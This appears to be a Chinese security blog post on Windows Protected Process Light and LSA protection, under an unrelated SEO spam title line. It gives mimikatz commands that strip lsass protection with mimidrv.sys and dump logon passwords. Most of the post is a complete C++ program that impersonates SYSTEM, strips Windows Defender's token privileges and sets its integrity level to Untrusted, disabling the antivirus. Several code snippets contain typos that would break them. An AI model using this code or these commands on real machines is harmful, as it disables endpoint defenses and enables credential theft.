寧波營銷型網(wǎng)站建設(shè)百度站長工具數(shù)據(jù)提交
PPL
Windows Vista / Server 2008引入 了受保護進程的概念,其目的不是保護您的數(shù)據(jù)或憑據(jù)。其最初目標是保護媒體內(nèi)容并符合DRM (數(shù)字版權(quán)管理)要求。Microsoft開發(fā)了此機制,以便您的媒體播放器可以讀取例如藍光,同時 防止您復(fù)制其內(nèi)容。當時的要求是映像文件(即可執(zhí)行文件)必須使用特殊的Windows Media證 書進行數(shù)字簽名(如Windows Internals的“受保護的過程”部分所述)。
在實踐中,一個受保護的過程可通過未保護的過程僅具有非常有限的權(quán)限訪問: PROCESS_QUERY_LIMITED_INFORMATION , PROCESS_SET_LIMITED_INFORMATION , PROCESS_TERMINATE 和 PROCESS_SUSPEND_RESUME 。對于某些高度敏感的過程,甚至可以減少 此設(shè)置。
從Windows 8.1 / Server 2012 R2開始,Microsoft引入了Protected Process Light的概 念。PPL實際上是對先前“受保護過程”模型的擴展,并添加了“保護級別”的概念,這基本上意味著 某些PP(L)進程可以比其他進程受到更多保護
進程保護的級別是會被添加到EPROCESS的內(nèi)核結(jié)構(gòu)中,并且具體存儲再其Protection成員中。該protection成員是一個PS_PROTECTION結(jié)構(gòu)
這個_PS_PROTECTION 結(jié)構(gòu)如下,前3位代表保護 Type ,它定義過程是 PP 還是 PPL ,后4位代表 Signer 類 型,即實際的保護類型
typedef struct _PS_PROTECTION {
union {
UCHAR Level;
struct {
UCHAR Type : 3;
UCHAR Audit : 1; // Reserved
UCHAR Signer : 4;
};
};
} PS_PROTECTION, *PPS_PROTECTION;
對于這個結(jié)構(gòu)來說,前3位代表保護 Type ,它定義過程是 PP 還是 PPL ,后4位代表 Signer 類 型,即實際的保護類型
typedef enum _PS_PROTECTED_TYPE {PsProtectedTypeNone = 0,PsProtectedTypeProtectedLight = 1,PsProtectedTypeProtected = 2
} PS_PROTECTED_TYPE, *PPS_PROTECTED_TYPE;
typedef enum _PS_PROTECTED_SIGNER {PsProtectedSignerNone = 0, // 0PsProtectedSignerAuthenticode, // 1PsProtectedSignerCodeGen, // 2PsProtectedSignerAntimalware, // 3PsProtectedSignerLsa, // 4PsProtectedSignerWindows, // 5PsProtectedSignerWinTcb, // 6PsProtectedSignerWinSystem, // 7PsProtectedSignerApp, // 8PsProtectedSignerMax // 9
} PS_PROTECTED_SIGNER, *PPS_PROTECTED_SIGNER;
進程的保護級別就通過上面這兩個值的組和來定義
由此,借助API ZwQueryInformationProcess 我們就可以判斷進程的PPL保護等級
bool FindProcessProtect()
{PS_PROTECTION ProtectInfo = { 0 };NTSTATUS ntStatus = ZwQueryInformationProcess(NtCurrentProcess(),ProcessProtectionInformation, &ProtectInfo, sizeof(ProtectInfo), NULL);bool = false;bool Result2 = false;if (NT_SUCCESS(ntStatus)){Result1 = ProtectInfo.Type == PsProtectedTypeNone && ProtectInfo.Signer == PsProtectedSignerNone;PROCESS_EXTENDED_BASIC_INFORMATION ProcessExtenedInfo = { 0 };ntStatus = ZwQueryInformationProcess(NtCurrentProcess(),ProcessBasicInformation, &ProcessExtenedInfo, sizeof(ProcessExtenedInfo), NULL);if (NT_SUCCESS(ntStatus)){Result2 = ProcessExtenedInfo.IsProtectedProcess == false &&ProcessExtenedInfo.IsSecureProcess == false;}}return Result2 && Result1;
}
Pr. | Process | Type | Signer | Level |
---|---|---|---|---|
1 | wininit.exe | Protected Light | WinTcb | PsProtectedSignerWinTcb-Light |
2 | svchost.exe | Protected Light | Lsa | PsProtectedSignerWindows-Light |
3 | MsMpEng.exe | Protected Light | Antimalware | PsProtectedSignerAntimalwareLight |
上面的表中我們可以看見,PPL內(nèi)部也是分級的
wininit.exe signer為WinTcb,它是 PPL 的最高可能值,那么它可以訪問其他兩個進程,然后, svchost.exe可以訪問MsMpEng.exe,因為signer級別Lsa高于Antimalware,最后,MsMpEng.exe不 能訪問其他兩個進程,因為它具有最低級別,不能訪問其他兩個進程,因為它具有最低級別。
我們也可以去
LSA
LSA 即 RunAsPPL ,雖然 lsass 進程有 PPL ,微軟為了防止非管理非 PPL 進程通過開放訪問或篡改 PPL 進程中的代碼和數(shù)據(jù)推出了 LSA ,但是在一般情況下是并沒有啟用的,有可能是防御方通過注冊表打開了PPL,或者是EDR開了
這里我以我的win10虛擬機為例,可以看見這個lsass.exe進程是沒有開啟PPL保護的
這時候我們使用mimikaz,密碼是可以正常抓到的
手動開啟LSA的方法是,找到注冊表里面的HKLM\SYSTEM\CurrentControlSet\Control\Lsa 然后添加一個 DWORD 值 RunAsPPL ,并把值從0改為1即可,之后重啟電腦
這時候我們再次打開Processmonitor,可以看見PPL已經(jīng)被加上了
這時候我們再去使用mimikaz抓密碼,很明顯,不行
我們可以去gitee上找到mimikaz的源碼,看看是怎么定義這個錯誤的
可以看見這里也是使用OpenProcess來打開進程獲得句柄,我們當然知道,這里低權(quán)限進程是沒有辦法打開高權(quán)限進程的
之后if分支判斷如果是INVALID_HANDLE_VALUE那么進入else分支,通過GetLastError把錯誤碼打印出來,也就是我們看見的0x000005
mimdrv.sys
mimikaz里面提供了mimidrv.sys來繞過,在加載之后就可以關(guān)閉LSA保護
!+
!procoessprotect /process:lsass.exe /remove
sekurlsa::logonpasswords
不過直到我復(fù)現(xiàn)的2024.10這個時間節(jié)點,這個驅(qū)動的證書已經(jīng)被吊銷
PPL Fault
這里搬一個2023年4月份的項目,主要PPL Killer實在太老,一般這些PPL繞過的工具在公開了之后,很快就會被相關(guān)安全人員寫入規(guī)則
gabriellandau/PPLFault (github.com)
By Gabriel Landau at Elastic Security.From PPLdump Is Dead. Long Live PPLdump! presented at Black Hat Asia 2023.
雖然現(xiàn)在應(yīng)該是用不了了(正常打補丁的win),但是思路還是可以說一下
也是通過把WinTCb的ppl拿到,然后通過高權(quán)限(只要比Lsa高就行)
[+] Acquired exclusive oplock to file: C:\Windows\System32\devobj.dll[+] Ready. Spawning WinTcb.[+] SpawnPPL: Waiting for child process to finish.
PPL medic
https://github.com/itm4n/PPLmedic
也是一個公開的項目,應(yīng)該也是被殺軟標記了
摘除Windows defender的令牌
這里要提一點,在Win Pc的版本中對Win Defender有補丁,所以測試環(huán)境移到Win Server 2019上進行
通過Process Hacker查看WIndows Defender的令牌,我們可以看見如下
我們可以看見Win Defender以System權(quán)限啟動
SYSTEM 用戶可以完全控制令牌,這意味著,除非有其他機制保護令牌,否則以 SYSTEM 身份運行的線 程可以修改令牌,但是在windows中并沒有保護令牌的機制,在 Process Hacker中 我們可以看到定義 的完整性為6種
Untrusted – processes that are logged on anonymously are automatically designated
as UntrustedLow – The Low integrity level is the level used by default for interaction with the
Internet. As long as Internet Explorer is run in its default state, Protected Mode, all files
and processes associated with it are assigned the Low integrity level. Some folders,
such as the Temporary Internet Folder, are also assigned the Low integrity level by
default.Medium – Medium is the context that most objects will run in. Standard users receive
the Medium integrity level, and any object not explicitly designated with a lower or
higher integrity level is Medium by default.High – Administrators are granted the High integrity level. This ensures that
Administrators are capable of interacting with and modifying objects assigned Medium
or Low integrity levels, but can also act on other objects with a High integrity level,
which standard users can not do.System – As the name implies, the System integrity level is reserved for the system.
The Windows kernel and core services are granted the System integrity level. Being
even higher than the High integrity level of Administrators protects these core
functions from being affected or compromised even by Administrators.Installer – The Installer integrity level is a special case and is the highest of all integrity
levels. By virtue of being equal to or higher than all other WIC integrity levels, objects
assigned the Installer integrity level are also able to uninstall all other objects.
一般匿名登錄的進程被自動指定為Untrusted
比如我們的瀏覽器,它在系統(tǒng)上執(zhí)行一些特權(quán)操作時,實際上都不是瀏覽器本身執(zhí)行,而是代理給到了其他非沙盒的進程來代表它來執(zhí)行操作。如果在這種情況下沙盒進程被利用,那么其他它造成的損害就會比較有限,比如我們下載到了一些惡意軟件,會很快被識別出來并被Win Defender隔離
簡而言之,Untrusted的進程對計算機的操作非常有限
所以我們可以換一個思路,不一定要提升我們惡意軟件的進程,也可以降低這些殺軟的進程等級
實現(xiàn)
核心函數(shù)(微軟是給了demo的,但是要稍微改一下,名字叫做在 C++ 中啟用和禁用特權(quán))
BOOL SetPricilege(HANDLE hToken,LPCTSTR lpszPrivilege,BOOL bEnablePrivilege
)
{TOKEN_PRIVILEGES tp;LUID luid;//檢索本地唯一標識符if(!LookupPrivilegeValue(NULL,lpszPrivilege,&luid)){printf("LookupPricilegeValue Error:%d\n",GetLastError());return FALSE;}tp.PrivilegeCount = 1;tp.Privileges[0].Luid = luid;if(bEnablePrivilege)//無論是否有bEnable標志,我們都設(shè)置特權(quán)標志為SE_PRIVILEGE_REMOVED,方便我們待會換掉原進程的令牌tp.Privileges[0].Attributes = SE_PRIVILEGE_REMOVED;elsetp.Privileges[0].Attributes = SE_PRIVILEGE_REMOVED;if (!AdjustTokenPrivileges(hToken,FALSE,&tp,sizeof(TOKEN_PRIVILEGES),(PTOKEN_PRIVILEGES)NULL,(PDWORD)NULL)){printf("AdjustTokenPrivileges Error:%d\n",GetLastError());return FALSE;}//如果失敗返回FALSEif(GetLastError() == ERROR_NOT_ALL_ASSIGNED){printf("The token does not have the specified privilege\n");return FALSE;}
}
上面用到的結(jié)構(gòu)和函數(shù),我也是邊看邊學
typedef struct _TOKEN_PRIVILEGES {DWORD PrivilegeCount;LUID_AND_ATTRIBUTES Privileges[ANYSIZE_ARRAY];
} TOKEN_PRIVILEGES, *PTOKEN_PRIVILEGES;
BOOL AdjustTokenPrivileges([in] HANDLE TokenHandle,//包含要修改的權(quán)限的訪問令牌的句柄。 句柄必須具有TOKEN_ADJUST_PRIVILEGES令牌的訪問權(quán)限[in] BOOL DisableAllPrivileges,[in, optional] PTOKEN_PRIVILEGES NewState,//指向 TOKEN_PRIVILEGES 結(jié)構(gòu)的指針[in] DWORD BufferLength,//結(jié)構(gòu)大小[out, optional] PTOKEN_PRIVILEGES PreviousState,[out, optional] PDWORD ReturnLength
);
Return code | Description |
---|---|
ERROR_SUCCESS | 函數(shù)調(diào)整了所有指定的特權(quán) |
ERROR_NOT_ALL_ASSIGNED | 令牌不具有NewState參數(shù)中指定的一個或多個權(quán)限。即使沒有調(diào)整特權(quán),函數(shù)也可能成功執(zhí)行此錯誤值。PreviousState參數(shù)指示已調(diào)整的權(quán)限。 |
提權(quán)函數(shù),啟用當前進程的SE_DEBUG_NAME 權(quán)限
bool EnableDebugPrivilege(){HANDLE hToken;LUID sedebugnameValue;TOKEN_PRIVILEGES tkp;if(!OpenProcessToken(GetCurrentProcess(),TOEKN_ADJUST_PRIVILEGES | TOKEN_QUERY,&hToken)){printf("OpenProcessTokenError:%d\n",GetLastError());return FALSE;}if(!LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&sedebugnameValue)){printf("LookupPrivilegeValue Error:%d\n",GetLastError());CloseHandle(hToken);return false;}tkp.PrivilegeCount = 1;tkp,Privileges[0].Luid = sedebugnameValue;tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;if(!AdjustTokenPrivileges(hToken,FALSE,&tkp,sizeof(tkp),NULL,NULL)){CloseHandle(hToken);printf("AdjustTokenPrivileges Error:%d\n",GetLastError());return false;}
}
上面用到的api
BOOL OpenProcessToken([in] HANDLE ProcessHandle,//打開訪問令牌的進程句柄[in] DWORD DesiredAccess,[out] PHANDLE TokenHandle//返回token的句柄
);
通過獲取winlogon.exe這個進程的令牌,調(diào)用ImpersonateLoggedOnUser模擬系統(tǒng)用戶獲取權(quán)限
wchar_t procname[80] = L"winlogon.exe";int pid = getpid(procname);HANDLE phandle = OpenProcess(PROCESS_ALL_ACCESS,FALSE,pid);HANDLE ptoken;OpenProcessToken(phandle, TOKEN_READ | TOKEN_IMPERSONATE | TOKEN_DUPLICATE,
&ptoken);//拿到winlogon的權(quán)限if (ImpersonateLoggedOnUser(ptoken)) {printf("[*] Impersonated System!\n");}else {printf("[-] Failed to impersonate System...\n");}
CloseHandle(phandle);//防止泄漏
CloseHandle(ptoken);
在這之后,打開MsMpEng
LUID sedebugnameValue;
wchar_t procname2[80] = L"MsMpEng.exe";
pid = getpid(procname2);
phandle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);//也就是這里有補丁,目前貌似在新版win里面打不開這個進程
if (phandle != INVALID_HANDLE_VALUE) {printf("[*] Opened Target Handle\n");
}
else {printf("[-] Failed to open Process Handle\n");
}
這里的PROCESS_QUERY_LIMITED_INFORMATION對應(yīng)我們OpenProcessToken需要的權(quán)限,不需要多拿
然后就是token的替換
BOOL token = OpenProcessToken(phandle, TOKEN_ALL_ACCESS, &ptoken);
if (token) {printf("[*] Opened Target Token Handle\n");
}
else {printf("[-] Failed to open Target Token Handle\n");
}
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &sedebugnameValue);
TOKEN_PRIVILEGES tkp;tkp.PrivilegeCount = 1;
tkp.Privileges[0].Luid = sedebugnameValue;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;if (!AdjustTokenPrivileges(ptoken, FALSE, &tkp, sizeof(tkp), NULL, NULL)) {
printf("[-] Failed to Adjust Token's Privileges\n");
return 0;
}
之后調(diào)用SetPrivilege 將所有Token去掉
SetPrivilege(ptoken, SE_DEBUG_NAME, TRUE);
SetPrivilege(ptoken, SE_CHANGE_NOTIFY_NAME, TRUE);
SetPrivilege(ptoken, SE_TCB_NAME, TRUE);
SetPrivilege(ptoken, SE_IMPERSONATE_NAME, TRUE);
SetPrivilege(ptoken, SE_LOAD_DRIVER_NAME, TRUE);
SetPrivilege(ptoken, SE_RESTORE_NAME, TRUE);
SetPrivilege(ptoken, SE_BACKUP_NAME, TRUE);
SetPrivilege(ptoken, SE_SECURITY_NAME, TRUE);
SetPrivilege(ptoken, SE_SYSTEM_ENVIRONMENT_NAME, TRUE);
SetPrivilege(ptoken, SE_INCREASE_QUOTA_NAME, TRUE);
SetPrivilege(ptoken, SE_TAKE_OWNERSHIP_NAME, TRUE);
SetPrivilege(ptoken, SE_INC_BASE_PRIORITY_NAME, TRUE);
SetPrivilege(ptoken, SE_SHUTDOWN_NAME, TRUE);
SetPrivilege(ptoken, SE_ASSIGNPRIMARYTOKEN_NAME, TRUE);
SECURITY_MANDATORY_UNTRUSTED_RID 是一個常量,用于表示一個不受信任的安全完整性級別
DWORD integrityLevel = SECURITY_MANDATORY_UNTRUSTED_RID;
然后再將完整性設(shè)置為 Untrusted , Revision 為 SID_REVISION ,表示SID結(jié)構(gòu)的版本號, SubAuthorityCount 為1,表示SID中子權(quán)限數(shù)組 SubAuthority 的元素數(shù)量, IdentifierAuthority.Value[5] 為16,表示用于表示完整性級別的標識符授權(quán), SubAuthority[0] 為 integrityLevel ,表示進程的完整性級別,它是一個整數(shù)值
SID integrityLevelSid{};
integrityLevelSid.Revision = SID_REVISION;
integrityLevelSid.SubAuthorityCount = 1;
integrityLevelSid.IdentifierAuthority.Value[5] = 16;
integrityLevelSid.SubAuthority[0] = integrityLevel;
上面SID結(jié)構(gòu)的定義
最后創(chuàng)建一個 TOKEN_MANDATORY_LABEL 結(jié)構(gòu)體變量 tokenIntegrityLevel ,表示進程的安全令牌中的強制 完整性級別,然后通過 SetTokenInformation 將完整性設(shè)置為 Untrusted
TOKEN_MANDATORY_LABEL tokenIntegrityLevel = {};
tokenIntegrityLevel.Label.Attributes = SE_GROUP_INTEGRITY;
tokenIntegrityLevel.Label.Sid = &integrityLevelSid;
if (!SetTokenInformation(ptoken,TokenIntegrityLevel,&tokenIntegrityLevel,sizeof(TOKEN_MANDATORY_LABEL) + GetLengthSid(&integrityLevelSid)))
完整demo
#include <Windows.h>
#include <stdio.h>
#include <iostream>
#include <TlHelp32.h>
#include <conio.h>
bool EnableDebugPrivilege()
{HANDLE hToken;LUID sedebugnameValue;TOKEN_PRIVILEGES tkp;if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)){return FALSE;}if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &sedebugnameValue)){CloseHandle(hToken);return false;}tkp.PrivilegeCount = 1;tkp.Privileges[0].Luid = sedebugnameValue;tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;if (!AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof(tkp), NULL, NULL)){CloseHandle(hToken);return false;}return true;
}
int getpid(LPCWSTR procname) {DWORD procPID = 0;LPCWSTR processName = L"";PROCESSENTRY32 processEntry = {};processEntry.dwSize = sizeof(PROCESSENTRY32);HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, procPID);if (Process32First(snapshot, &processEntry)){while (_wcsicmp(processName, procname) != 0){Process32Next(snapshot, &processEntry);processName = processEntry.szExeFile;procPID = processEntry.th32ProcessID;}printf("[+] Got %ls PID: %d\n", procname, procPID);}return procPID;}
BOOL SetPrivilege(
HANDLE hToken, // access token handle
LPCTSTR lpszPrivilege, // name of privilege to enable/disable
BOOL bEnablePrivilege // to enable or disable privilege
)
{
TOKEN_PRIVILEGES tp;
LUID luid;
if (!LookupPrivilegeValue(NULL, // lookup privilege on local system
lpszPrivilege, // privilege to lookup
&luid)) // receives LUID of privilege
{printf("LookupPrivilegeValue error: %u\n", GetLastError());return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
if (bEnablePrivilege)tp.Privileges[0].Attributes = SE_PRIVILEGE_REMOVED;
elsetp.Privileges[0].Attributes = SE_PRIVILEGE_REMOVED;
if (!AdjustTokenPrivileges(hToken,FALSE,&tp,sizeof(TOKEN_PRIVILEGES),(PTOKEN_PRIVILEGES)NULL,(PDWORD)NULL))
{printf("AdjustTokenPrivileges error: %u\n", GetLastError());return FALSE;
}
if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
{printf("The token does not have the specified privilege\n");return FALSE;
}return TRUE;
}
int main(int argc, char** argv)
{
LUID sedebugnameValue;
EnableDebugPrivilege();
wchar_t procname[80] = L"winlogon.exe";
int pid = getpid(procname);
HANDLE phandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
HANDLE ptoken;
OpenProcessToken(phandle, TOKEN_READ | TOKEN_IMPERSONATE | TOKEN_DUPLICATE,&ptoken);
if (ImpersonateLoggedOnUser(ptoken)) {printf("[*] Impersonated System!\n");
}
else {printf("[-] Failed to impersonate System...\n");
}
CloseHandle(phandle);
CloseHandle(ptoken);
wchar_t procname2[80] = L"MsMpEng.exe";
pid = getpid(procname2);
printf("[*] Bypass Defender...\n");
phandle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
if (phandle != INVALID_HANDLE_VALUE) {printf("[*] Opened Target Handle\n");
}
else {printf("[-] Failed to open Process Handle:%d\n", GetLastError());
}
BOOL token = OpenProcessToken(phandle, TOKEN_ALL_ACCESS, &ptoken);
if (token) {printf("[*] Opened Target Token Handle\n");
}
else {printf("[-] Failed to open Target Token Handle : %d\n", GetLastError());
}
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &sedebugnameValue);
TOKEN_PRIVILEGES tkp;
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Luid = sedebugnameValue;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;if (!AdjustTokenPrivileges(ptoken, FALSE, &tkp, sizeof(tkp), NULL, NULL)) {printf("[-] Failed to Adjust Token's Privileges\n");return 0;
}SetPrivilege(ptoken, SE_DEBUG_NAME, TRUE);
SetPrivilege(ptoken, SE_CHANGE_NOTIFY_NAME, TRUE);
SetPrivilege(ptoken, SE_TCB_NAME, TRUE);
SetPrivilege(ptoken, SE_IMPERSONATE_NAME, TRUE);
SetPrivilege(ptoken, SE_LOAD_DRIVER_NAME, TRUE);
SetPrivilege(ptoken, SE_RESTORE_NAME, TRUE);
SetPrivilege(ptoken, SE_BACKUP_NAME, TRUE);
SetPrivilege(ptoken, SE_SECURITY_NAME, TRUE);
SetPrivilege(ptoken, SE_SYSTEM_ENVIRONMENT_NAME, TRUE);
SetPrivilege(ptoken, SE_INCREASE_QUOTA_NAME, TRUE);
SetPrivilege(ptoken, SE_TAKE_OWNERSHIP_NAME, TRUE);
SetPrivilege(ptoken, SE_INC_BASE_PRIORITY_NAME, TRUE);
SetPrivilege(ptoken, SE_SHUTDOWN_NAME, TRUE);
SetPrivilege(ptoken, SE_ASSIGNPRIMARYTOKEN_NAME, TRUE);
printf("[*] Removed All Privileges\n");DWORD integrityLevel = SECURITY_MANDATORY_UNTRUSTED_RID;
SID integrityLevelSid{};
integrityLevelSid.Revision = SID_REVISION;
integrityLevelSid.SubAuthorityCount = 1;
integrityLevelSid.IdentifierAuthority.Value[5] = 16;
integrityLevelSid.SubAuthority[0] = integrityLevel;TOKEN_MANDATORY_LABEL tokenIntegrityLevel = {};
tokenIntegrityLevel.Label.Attributes = SE_GROUP_INTEGRITY;
tokenIntegrityLevel.Label.Sid = &integrityLevelSid;
if (!SetTokenInformation(ptoken,TokenIntegrityLevel,&tokenIntegrityLevel,sizeof(TOKEN_MANDATORY_LABEL) + GetLengthSid(&integrityLevelSid)))
{printf("SetTokenInformation failed\n");
}
else {printf("[*] Token Integrity set to Untrusted\n");
}
CloseHandle(ptoken);
CloseHandle(phandle);
}